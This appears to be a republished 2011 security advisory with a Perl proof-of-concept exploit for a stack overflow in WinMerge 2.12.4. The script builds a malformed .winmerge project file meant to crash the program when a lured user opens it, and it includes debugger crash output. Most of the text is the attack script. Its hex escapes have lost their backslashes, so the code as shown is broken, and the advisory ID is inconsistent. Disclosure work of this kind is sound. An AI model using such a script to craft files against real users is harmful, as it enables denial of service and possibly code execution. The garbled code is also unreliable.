WinMerge 2.12.4 Stack Overflow
Posted on 23 February 2011
#!/usr/bin/perl # # # Title: WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability # # # Vendor: Thingamahoochie Software # Product web page: http://www.winmerge.org # Affected version: 2.12.4.0 Unicode # # Summary: WinMerge is an Open Source differencing and merging tool for Windows. # WinMerge can compare both folders and files, presenting differences in a visual # text format that is easy to understand and handle. WinMerge is highly useful for # determining what has changed between project versions, and then merging changes # between versions. WinMerge can be used as an external differencing/merging tool # or as a standalone application. # # Desc: WinMerge version 2.12.4 suffers from a stack overflow vulnerability because # it fails to properly sanitize user supplied input when parsing .winmerge project # file format resulting in a crash overflowing the memory stack. The attacker can # use this scenario to lure unsuspecting users to open malicious crafted .winmerge # files with a potential for arbitrary code execution on the affected system. # # Tested on: Microsoft Windows XP Professional SP3 (EN) # # -------------------------------------------------------------------------------- # # (e34.10b0): Stack overflow - code c00000fd (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000011 ebx=0001f83c ecx=50000161 edx=7ffe0300 esi=00000000 edi=00c30000 # eip=7c90cf78 esp=00033000 ebp=00033238 iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 # ntdll!NtAllocateVirtualMemory+0xa: # 7c90cf78 ff12 call dword ptr [edx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c90e510)} # 0:000> g # (e34.10b0): C++ EH exception - code e06d7363 (first chance) # (e34.10b0): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000d28 ebx=00523001 ecx=00000000 edx=00000000 esi=00000000 edi=00031ad8 # eip=7c90e8e5 esp=00030c9c ebp=000319d4 iopl=0 nv up ei pl nz ac pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 # ntdll!strchr+0xd8: # 7c90e8e5 53 push ebx # # -------------------------------------------------------------------------------- # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # liquidworm gmail com # Zero Science Lab - http://www.zeroscience.mk # # # Advisory ID: ZSL-2010-4997 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4997.php # # # 08.02.2011 # use strict; my $project = "thricer.winmerge"; my $begining = "x3Cx3Fx78x6Dx6Cx20x76x65x72x73x69x6Fx6Ex3Dx22x31x2E". "x30x22x20x65x6Ex63x6Fx64x69x6Ex67x3Dx22x55x54x46x2D". "x38x22x20x73x74x61x6Ex64x61x6Cx6Fx6Ex65x3Dx22x79x65". "x73x22x3Fx3Ex0Dx0Ax0Dx0Ax3Cx70x72x6Fx6Ax65x63x74x3E". "x0Dx0Ax20x20x20x3Cx70x61x74x68x73x3Ex0Dx0Ax20x20x20". "x20x20x20x3Cx66x69x6Cx74x65x72x3E"; my $load = "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41"; my $ending = "x2Ax2Ex2Ax3Cx2Fx66x69x6Cx74x65x72x3Ex0Dx0Ax20x20x20". "x20x20x20x3Cx73x75x62x66x6Fx6Cx64x65x72x73x3Ex30x3C". "x2Fx73x75x62x66x6Fx6Cx64x65x72x73x3Ex0Dx0Ax20x20x20". "x20x20x20x3Cx6Cx65x66x74x2Dx72x65x61x64x6Fx6Ex6Cx79". "x3Ex30x3Cx2Fx6Cx65x66x74x2Dx72x65x61x64x6Fx6Ex6Cx79". "x3Ex0Dx0Ax20x20x20x20x20x20x3Cx72x69x67x68x74x2Dx72". "x65x61x64x6Fx6Ex6Cx79x3Ex30x3Cx2Fx72x69x67x68x74x2D". "x72x65x61x64x6Fx6Ex6Cx79x3Ex0Dx0Ax20x20x20x3Cx2Fx70". "x61x74x68x73x3Ex0Dx0Ax3Cx2Fx70x72x6Fx6Ax65x63x74x3E". "x0Dx0A"; print " [*] Buffering "$project" file ... "; open winmerge, ">./$project" || die " Can't open $project: $!"; print winmerge $begining.$load x(2391-142+1000).$ending; sleep 2; print " [*] File created successfully! "; close winmerge;
